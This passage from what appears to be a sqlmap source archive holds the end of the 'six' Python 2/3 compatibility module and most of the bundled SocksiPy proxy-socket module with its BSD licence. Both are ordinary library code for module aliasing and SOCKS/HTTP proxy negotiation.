"tkinter.dnd"), MovedModule("tkinter_colorchooser", "tkColorChooser", "tkinter.colorchooser"), MovedModule("tkinter_commondialog", "tkCommonDialog", "tkinter.commondialog"), MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), MovedModule("tkinter_font", "tkFont", "tkinter.font"), MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", "tkinter.simpledialog"), MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), ] # Add windows specific modules. if sys.platform == "win32": _moved_attributes += [ MovedModule("winreg", "_winreg"), ] for attr in _moved_attributes: setattr(_MovedItems, attr.name, attr) if isinstance(attr, MovedModule): _importer._add_module(attr, "moves." + attr.name) del attr _MovedItems._moved_attributes = _moved_attributes moves = _MovedItems(__name__ + ".moves") _importer._add_module(moves, "moves") class Module_six_moves_urllib_parse(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_parse""" _urllib_parse_moved_attributes = [ MovedAttribute("ParseResult", "urlparse", "urllib.parse"), MovedAttribute("SplitResult", "urlparse", "urllib.parse"), MovedAttribute("parse_qs", "urlparse", "urllib.parse"), MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), MovedAttribute("urldefrag", "urlparse", "urllib.parse"), MovedAttribute("urljoin", "urlparse", "urllib.parse"), MovedAttribute("urlparse", "urlparse", "urllib.parse"), MovedAttribute("urlsplit", "urlparse", "urllib.parse"), MovedAttribute("urlunparse", "urlparse", "urllib.parse"), MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), MovedAttribute("quote", "urllib", "urllib.parse"), MovedAttribute("quote_plus", "urllib", "urllib.parse"), MovedAttribute("unquote", "urllib", "urllib.parse"), MovedAttribute("unquote_plus", "urllib", "urllib.parse"), MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), MovedAttribute("urlencode", "urllib", "urllib.parse"), MovedAttribute("splitquery", "urllib", "urllib.parse"), MovedAttribute("splittag", "urllib", "urllib.parse"), MovedAttribute("splituser", "urllib", "urllib.parse"), MovedAttribute("splitvalue", "urllib", "urllib.parse"), MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), MovedAttribute("uses_params", "urlparse", "urllib.parse"), MovedAttribute("uses_query", "urlparse", "urllib.parse"), MovedAttribute("uses_relative", "urlparse", "urllib.parse"), ] for attr in _urllib_parse_moved_attributes: setattr(Module_six_moves_urllib_parse, attr.name, attr) del attr Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes _importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), "moves.urllib_parse", "moves.urllib.parse") class Module_six_moves_urllib_error(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_error""" _urllib_error_moved_attributes = [ MovedAttribute("URLError", "urllib2", "urllib.error"), MovedAttribute("HTTPError", "urllib2", "urllib.error"), MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), ] for attr in _urllib_error_moved_attributes: setattr(Module_six_moves_urllib_error, attr.name, attr) del attr Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes _importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), "moves.urllib_error", "moves.urllib.error") class Module_six_moves_urllib_request(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_request""" _urllib_request_moved_attributes = [ MovedAttribute("urlopen", "urllib2", "urllib.request"), MovedAttribute("install_opener", "urllib2", "urllib.request"), MovedAttribute("build_opener", "urllib2", "urllib.request"), MovedAttribute("pathname2url", "urllib", "urllib.request"), MovedAttribute("url2pathname", "urllib", "urllib.request"), MovedAttribute("getproxies", "urllib", "urllib.request"), MovedAttribute("Request", "urllib2", "urllib.request"), MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), MovedAttribute("BaseHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), MovedAttribute("FileHandler", "urllib2", "urllib.request"), MovedAttribute("FTPHandler", "urllib2", "urllib.request"), MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), MovedAttribute("urlretrieve", "urllib", "urllib.request"), MovedAttribute("urlcleanup", "urllib", "urllib.request"), MovedAttribute("proxy_bypass", "urllib", "urllib.request"), MovedAttribute("parse_http_list", "urllib2", "urllib.request"), MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), ] if sys.version_info[:2] < (3, 14): _urllib_request_moved_attributes.extend( [ MovedAttribute("URLopener", "urllib", "urllib.request"), MovedAttribute("FancyURLopener", "urllib", "urllib.request"), ] ) for attr in _urllib_request_moved_attributes: setattr(Module_six_moves_urllib_request, attr.name, attr) del attr Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes _importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), "moves.urllib_request", "moves.urllib.request") class Module_six_moves_urllib_response(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_response""" _urllib_response_moved_attributes = [ MovedAttribute("addbase", "urllib", "urllib.response"), MovedAttribute("addclosehook", "urllib", "urllib.response"), MovedAttribute("addinfo", "urllib", "urllib.response"), MovedAttribute("addinfourl", "urllib", "urllib.response"), ] for attr in _urllib_response_moved_attributes: setattr(Module_six_moves_urllib_response, attr.name, attr) del attr Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes _importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), "moves.urllib_response", "moves.urllib.response") class Module_six_moves_urllib_robotparser(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_robotparser""" _urllib_robotparser_moved_attributes = [ MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), ] for attr in _urllib_robotparser_moved_attributes: setattr(Module_six_moves_urllib_robotparser, attr.name, attr) del attr Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes _importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), "moves.urllib_robotparser", "moves.urllib.robotparser") class Module_six_moves_urllib(types.ModuleType): """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" __path__ = [] # mark as package parse = _importer._get_module("moves.urllib_parse") error = _importer._get_module("moves.urllib_error") request = _importer._get_module("moves.urllib_request") response = _importer._get_module("moves.urllib_response") robotparser = _importer._get_module("moves.urllib_robotparser") def __dir__(self): return ['parse', 'error', 'request', 'response', 'robotparser'] _importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), "moves.urllib") def add_move(move): """Add an item to six.moves.""" setattr(_MovedItems, move.name, move) def remove_move(name): """Remove item from six.moves.""" try: delattr(_MovedItems, name) except AttributeError: try: del moves.__dict__[name] except KeyError: raise AttributeError("no such move, %r" % (name,)) if PY3: _meth_func = "__func__" _meth_self = "__self__" _func_closure = "__closure__" _func_code = "__code__" _func_defaults = "__defaults__" _func_globals = "__globals__" else: _meth_func = "im_func" _meth_self = "im_self" _func_closure = "func_closure" _func_code = "func_code" _func_defaults = "func_defaults" _func_globals = "func_globals" try: advance_iterator = next except NameError: def advance_iterator(it): return it.next() next = advance_iterator try: callable = callable except NameError: def callable(obj): return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) if PY3: def get_unbound_function(unbound): return unbound create_bound_method = types.MethodType def create_unbound_method(func, cls): return func Iterator = object else: def get_unbound_function(unbound): return unbound.im_func def create_bound_method(func, obj): return types.MethodType(func, obj, obj.__class__) def create_unbound_method(func, cls): return types.MethodType(func, None, cls) class Iterator(object): def next(self): return type(self).__next__(self) callable = callable _add_doc(get_unbound_function, """Get the function out of a possibly unbound function""") get_method_function = operator.attrgetter(_meth_func) get_method_self = operator.attrgetter(_meth_self) get_function_closure = operator.attrgetter(_func_closure) get_function_code = operator.attrgetter(_func_code) get_function_defaults = operator.attrgetter(_func_defaults) get_function_globals = operator.attrgetter(_func_globals) if PY3: def iterkeys(d, **kw): return iter(d.keys(**kw)) def itervalues(d, **kw): return iter(d.values(**kw)) def iteritems(d, **kw): return iter(d.items(**kw)) def iterlists(d, **kw): return iter(d.lists(**kw)) viewkeys = operator.methodcaller("keys") viewvalues = operator.methodcaller("values") viewitems = operator.methodcaller("items") else: def iterkeys(d, **kw): return d.iterkeys(**kw) def itervalues(d, **kw): return d.itervalues(**kw) def iteritems(d, **kw): return d.iteritems(**kw) def iterlists(d, **kw): return d.iterlists(**kw) viewkeys = operator.methodcaller("viewkeys") viewvalues = operator.methodcaller("viewvalues") viewitems = operator.methodcaller("viewitems") _add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") _add_doc(itervalues, "Return an iterator over the values of a dictionary.") _add_doc(iteritems, "Return an iterator over the (key, value) pairs of a dictionary.") _add_doc(iterlists, "Return an iterator over the (key, [values]) pairs of a dictionary.") if PY3: def b(s): return s.encode("latin-1") def u(s): return s unichr = chr import struct int2byte = struct.Struct(">B").pack del struct byte2int = operator.itemgetter(0) indexbytes = operator.getitem iterbytes = iter import io StringIO = io.StringIO BytesIO = io.BytesIO del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" _assertNotRegex = "assertNotRegex" else: def b(s): return s # Workaround for standalone backslash def u(s): return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") unichr = unichr int2byte = chr def byte2int(bs): return ord(bs[0]) def indexbytes(buf, i): return ord(buf[i]) iterbytes = functools.partial(itertools.imap, ord) import StringIO StringIO = BytesIO = StringIO.StringIO _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") def assertCountEqual(self, *args, **kwargs): return getattr(self, _assertCountEqual)(*args, **kwargs) def assertRaisesRegex(self, *args, **kwargs): return getattr(self, _assertRaisesRegex)(*args, **kwargs) def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) def assertNotRegex(self, *args, **kwargs): return getattr(self, _assertNotRegex)(*args, **kwargs) if PY3: exec_ = getattr(moves.builtins, "exec") def reraise(tp, value, tb=None): try: if value is None: value = tp() if value.__traceback__ is not tb: raise value.with_traceback(tb) raise value finally: value = None tb = None else: def exec_(_code_, _globs_=None, _locs_=None): """Execute code in a namespace.""" if _globs_ is None: frame = sys._getframe(1) _globs_ = frame.f_globals if _locs_ is None: _locs_ = frame.f_locals del frame elif _locs_ is None: _locs_ = _globs_ exec("""exec _code_ in _globs_, _locs_""") exec_("""def reraise(tp, value, tb=None): try: raise tp, value, tb finally: tb = None """) if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value finally: value = None """) else: def raise_from(value, from_value): raise value print_ = getattr(moves.builtins, "print", None) if print_ is None: def print_(*args, **kwargs): """The new-style print function for Python 2.4 and 2.5.""" fp = kwargs.pop("file", sys.stdout) if fp is None: return def write(data): if not isinstance(data, basestring): data = str(data) # If the file has an encoding, encode unicode with it. if (isinstance(fp, file) and isinstance(data, unicode) and fp.encoding is not None): errors = getattr(fp, "errors", None) if errors is None: errors = "strict" data = data.encode(fp.encoding, errors) fp.write(data) want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: if isinstance(sep, unicode): want_unicode = True elif not isinstance(sep, str): raise TypeError("sep must be None or a string") end = kwargs.pop("end", None) if end is not None: if isinstance(end, unicode): want_unicode = True elif not isinstance(end, str): raise TypeError("end must be None or a string") if kwargs: raise TypeError("invalid keyword arguments to print()") if not want_unicode: for arg in args: if isinstance(arg, unicode): want_unicode = True break if want_unicode: newline = unicode("\n") space = unicode(" ") else: newline = "\n" space = " " if sep is None: sep = space if end is None: end = newline for i, arg in enumerate(args): if i: write(sep) write(arg) write(end) if sys.version_info[:2] < (3, 3): _print = print_ def print_(*args, **kwargs): fp = kwargs.get("file", sys.stdout) flush = kwargs.pop("flush", False) _print(*args, **kwargs) if flush and fp is not None: fp.flush() _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): # This does exactly the same what the :func:`py3:functools.update_wrapper` # function does on Python versions after 3.2. It sets the ``__wrapped__`` # attribute on ``wrapper`` object and it doesn't raise an error if any of # the attributes mentioned in ``assigned`` and ``updated`` are missing on # ``wrapped`` object. def _update_wrapper(wrapper, wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): for attr in assigned: try: value = getattr(wrapped, attr) except AttributeError: continue else: setattr(wrapper, attr, value) for attr in updated: getattr(wrapper, attr).update(getattr(wrapped, attr, {})) wrapper.__wrapped__ = wrapped return wrapper _update_wrapper.__doc__ = functools.update_wrapper.__doc__ def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): return functools.partial(_update_wrapper, wrapped=wrapped, assigned=assigned, updated=updated) wraps.__doc__ = functools.wraps.__doc__ else: wraps = functools.wraps def with_metaclass(meta, *bases): """Create a base class with a metaclass.""" # This requires a bit of explanation: the basic idea is to make a dummy # metaclass for one level of class instantiation that replaces itself with # the actual metaclass. class metaclass(type): def __new__(cls, name, this_bases, d): if sys.version_info[:2] >= (3, 7): # This version introduced PEP 560 that requires a bit # of extra care (we mimic what is done by __build_class__). resolved_bases = types.resolve_bases(bases) if resolved_bases is not bases: d['__orig_bases__'] = bases else: resolved_bases = bases return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): return meta.__prepare__(name, bases) return type.__new__(metaclass, 'temporary_class', (), {}) def add_metaclass(metaclass): """Class decorator for creating a class with a metaclass.""" def wrapper(cls): orig_vars = cls.__dict__.copy() slots = orig_vars.get('__slots__') if slots is not None: if isinstance(slots, str): slots = [slots] for slots_var in slots: orig_vars.pop(slots_var) orig_vars.pop('__dict__', None) orig_vars.pop('__weakref__', None) if hasattr(cls, '__qualname__'): orig_vars['__qualname__'] = cls.__qualname__ return metaclass(cls.__name__, cls.__bases__, orig_vars) return wrapper def ensure_binary(s, encoding='utf-8', errors='strict'): """Coerce **s** to six.binary_type. For Python 2: - `unicode` -> encoded to `str` - `str` -> `str` For Python 3: - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ if isinstance(s, binary_type): return s if isinstance(s, text_type): return s.encode(encoding, errors) raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): """Coerce *s* to `str`. For Python 2: - `unicode` -> encoded to `str` - `str` -> `str` For Python 3: - `str` -> `str` - `bytes` -> decoded to `str` """ # Optimization: Fast return for the common case. if type(s) is str: return s if PY2 and isinstance(s, text_type): return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): return s.decode(encoding, errors) elif not isinstance(s, (text_type, binary_type)): raise TypeError("not expecting type '%s'" % type(s)) return s def ensure_text(s, encoding='utf-8', errors='strict'): """Coerce *s* to six.text_type. For Python 2: - `unicode` -> `unicode` - `str` -> `unicode` For Python 3: - `str` -> `str` - `bytes` -> decoded to `str` """ if isinstance(s, binary_type): return s.decode(encoding, errors) elif isinstance(s, text_type): return s else: raise TypeError("not expecting type '%s'" % type(s)) def python_2_unicode_compatible(klass): """ A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method returning text and apply this decorator to the class. """ if PY2: if '__str__' not in klass.__dict__: raise ValueError("@python_2_unicode_compatible cannot be applied " "to %s because it doesn't define __str__()." % klass.__name__) klass.__unicode__ = klass.__str__ klass.__str__ = lambda self: self.__unicode__().encode('utf-8') return klass # Complete the moves implementation. # This code is at the end of this module to speed up module loading. # Turn this module into a package. __path__ = [] # required for PEP 302 and PEP 451 __package__ = __name__ # see PEP 366 @ReservedAssignment if globals().get("__spec__") is not None: __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable # Remove other six meta path importers, since they cause problems. This can # happen if six is removed from sys.modules and then reloaded. (Setuptools does # this for some reason.) if sys.meta_path: for i, importer in enumerate(sys.meta_path): # Here's some real nastiness: Another "instance" of the six module might # be floating around. Therefore, we can't use isinstance() to check for # the six meta path importer, since the other six instance will have # inserted an importer with different class. if (type(importer).__name__ == "_SixMetaPathImporter" and importer.name == __name__): del sys.meta_path[i] break del i, importer # Finally, add the importer to the meta path import hook. sys.meta_path.append(_importer) sqlmap-1.9.6/thirdparty/socks/000077500000000000000000000000001502261744200163435ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/socks/LICENSE000066400000000000000000000025711502261744200173550ustar00rootroot00000000000000Copyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. sqlmap-1.9.6/thirdparty/socks/__init__.py000066400000000000000000000000001502261744200204420ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/socks/socks.py000066400000000000000000000417061502261744200200470ustar00rootroot00000000000000#!/usr/bin/env python """SocksiPy - Python SOCKS module. Version 1.00 Copyright 2006 Dan-Haim. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Dan Haim nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. This module provides a standard socket-like interface for Python for tunneling connections through SOCKS proxies. """ """ Minor modifications made by Miroslav Stampar (https://sqlmap.org) for patching DNS-leakage occuring in socket.create_connection() Minor modifications made by Christopher Gilbert (http://motomastyle.com/) for use in PyLoris (http://pyloris.sourceforge.net/) Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) mainly to merge bug fixes found in Sourceforge """ import socket import struct PROXY_TYPE_SOCKS4 = 1 PROXY_TYPE_SOCKS5 = 2 PROXY_TYPE_HTTP = 3 _defaultproxy = None socket._orig_socket = _orgsocket = _orig_socket = socket.socket _orgcreateconnection = socket.create_connection class ProxyError(Exception): pass class GeneralProxyError(ProxyError): pass class Socks5AuthError(ProxyError): pass class Socks5Error(ProxyError): pass class Socks4Error(ProxyError): pass class HTTPError(ProxyError): pass _generalerrors = ("success", "invalid data", "not connected", "not available", "bad proxy type", "bad input") _socks5errors = ("succeeded", "general SOCKS server failure", "connection not allowed by ruleset", "Network unreachable", "Host unreachable", "Connection refused", "TTL expired", "Command not supported", "Address type not supported", "Unknown error") _socks5autherrors = ("succeeded", "authentication is required", "all offered authentication methods were rejected", "unknown username or invalid password", "unknown error") _socks4errors = ("request granted", "request rejected or failed", "request rejected because SOCKS server cannot connect to identd on the client", "request rejected because the client program and identd report different user-ids", "unknown error") def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets a default proxy which all further socksocket objects will use, unless explicitly changed. """ global _defaultproxy _defaultproxy = (proxytype, addr, port, rdns, username, password) def wrapmodule(module): """wrapmodule(module) Attempts to replace a module's socket library with a SOCKS socket. Must set a default proxy using setdefaultproxy(...) first. This will only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. """ if _defaultproxy != None: module.socket.socket = socksocket if _defaultproxy[0] == PROXY_TYPE_SOCKS4: # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) pass else: module.socket.create_connection = create_connection else: raise GeneralProxyError((4, "no proxy specified")) def unwrapmodule(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, you must specify family=AF_INET, type=SOCK_STREAM and proto=0. """ def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): _orgsocket.__init__(self, family, type, proto, _sock) if _defaultproxy != None: self.__proxy = _defaultproxy else: self.__proxy = (None, None, None, None, None, None) self.__proxysockname = None self.__proxypeername = None def __recvall(self, count): """__recvall(count) -> data Receive EXACTLY the number of bytes requested from the socket. Blocks until the required number of bytes have been received. """ data = self.recv(count) while len(data) < count: d = self.recv(count-len(data)) if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) data = data + d return data def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) Sets the proxy to be used. proxytype - The type of the proxy to be used. Three types are supported: PROXY_TYPE_SOCKS4 (including socks4a), PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS servers and 8080 for HTTP proxy servers. rdns - Should DNS queries be preformed on the remote side (rather than the local side). The default is True. Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. The default is no authentication. password - Password to authenticate with to the server. Only relevant when username is also provided. """ self.__proxy = (proxytype, addr, port, rdns, username, password) def __negotiatesocks5(self, destaddr, destport): """__negotiatesocks5(self,destaddr,destport) Negotiates a connection through a SOCKS5 server. """ # First we'll send the authentication packages we support. if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): # The username/password details were supplied to the # setproxy method so we support the USERNAME/PASSWORD # authentication (in addition to the standard none). self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) else: # No username/password were entered, therefore we # only support connections with no authentication. self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) # We'll receive the server's response to determine which # method was selected chosenauth = self.__recvall(2) if chosenauth[0:1] != b'\x05': self.close() raise GeneralProxyError((1, _generalerrors[1])) # Check the chosen authentication method if chosenauth[1:2] == b'\x00': # No authentication is required pass elif chosenauth[1:2] == b'\x02': # Okay, we need to perform a basic username/password # authentication. self.sendall(b'\x01' + chr(len(self.__proxy[4])).encode() + self.__proxy[4].encode() + chr(len(self.__proxy[5])).encode() + self.__proxy[5].encode()) authstat = self.__recvall(2) if authstat[0:1] != b'\x01': # Bad response self.close() raise GeneralProxyError((1, _generalerrors[1])) if authstat[1:2] != b'\x00': # Authentication failed self.close() raise Socks5AuthError((3, _socks5autherrors[3])) # Authentication succeeded else: # Reaching here is always bad self.close() if chosenauth[1:2] == b'\xff': raise Socks5AuthError((2, _socks5autherrors[2])) else: raise GeneralProxyError((1, _generalerrors[1])) # Now we can request the actual connection req = struct.pack('BBB', 0x05, 0x01, 0x00) # If the given destination address is an IP address, we'll # use the IPv4 address request even if remote resolving was specified. try: ipaddr = socket.inet_aton(destaddr) req = req + b'\x01' + ipaddr except socket.error: # Well it's not an IP number, so it's probably a DNS name. if self.__proxy[3]: # Resolve remotely ipaddr = None req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + (destaddr if isinstance(destaddr, bytes) else destaddr.encode()) else: # Resolve locally ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) req = req + chr(0x01).encode() + ipaddr req = req + struct.pack(">H", destport) self.sendall(req) # Get the response resp = self.__recvall(4) if resp[0:1] != chr(0x05).encode(): self.close() raise GeneralProxyError((1, _generalerrors[1])) elif resp[1:2] != chr(0x00).encode(): # Connection failed self.close() if ord(resp[1:2])<=8: raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) else: raise Socks5Error((9, _socks5errors[9])) # Get the bound address/port elif resp[3:4] == chr(0x01).encode(): boundaddr = self.__recvall(4) elif resp[3:4] == chr(0x03).encode(): resp = resp + self.recv(1) boundaddr = self.__recvall(ord(resp[4:5])) else: self.close() raise GeneralProxyError((1,_generalerrors[1])) boundport = struct.unpack(">H", self.__recvall(2))[0] self.__proxysockname = (boundaddr, boundport) if ipaddr != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport) def getproxysockname(self): """getsockname() -> address info Returns the bound IP address and port number at the proxy. """ return self.__proxysockname def getproxypeername(self): """getproxypeername() -> address info Returns the IP and port number of the proxy. """ return _orgsocket.getpeername(self) def getpeername(self): """getpeername() -> address info Returns the IP address and port number of the destination machine (note: getproxypeername returns the proxy) """ return self.__proxypeername def __negotiatesocks4(self,destaddr,destport): """__negotiatesocks4(self,destaddr,destport) Negotiates a connection through a SOCKS4 server. """ # Check if the destination address provided is an IP address rmtrslv = False try: ipaddr = socket.inet_aton(destaddr) except socket.error: # It's a DNS name. Check where it should be resolved. if self.__proxy[3]: ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) rmtrslv = True else: ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) # Construct the request packet req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr # The username parameter is considered userid for SOCKS4 if self.__proxy[4] != None: req = req + self.__proxy[4] req = req + chr(0x00).encode() # DNS name if remote resolving is required # NOTE: This is actually an extension to the SOCKS4 protocol # called SOCKS4A and may not be supported in all cases. if rmtrslv: req = req + destaddr + chr(0x00).encode() self.sendall(req) # Get the response from the server resp = self.__recvall(8) if resp[0:1] != chr(0x00).encode(): # Bad data self.close() raise GeneralProxyError((1,_generalerrors[1])) if resp[1:2] != chr(0x5A).encode(): # Server returned an error self.close() if ord(resp[1:2]) in (91, 92, 93): self.close() raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) else: raise Socks4Error((94, _socks4errors[4])) # Get the bound address/port self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) if rmtrslv != None: self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) else: self.__proxypeername = (destaddr, destport) def __negotiatehttp(self, destaddr, destport): """__negotiatehttp(self,destaddr,destport) Negotiates a connection through an HTTP server. """ # If we need to resolve locally, we do this now if not self.__proxy[3]: addr = socket.gethostbyname(destaddr) else: addr = destaddr self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) # We read the response until we get the string "\r\n\r\n" resp = self.recv(1) while resp.find("\r\n\r\n".encode()) == -1: resp = resp + self.recv(1) # We just need the first line to check if the connection # was successful 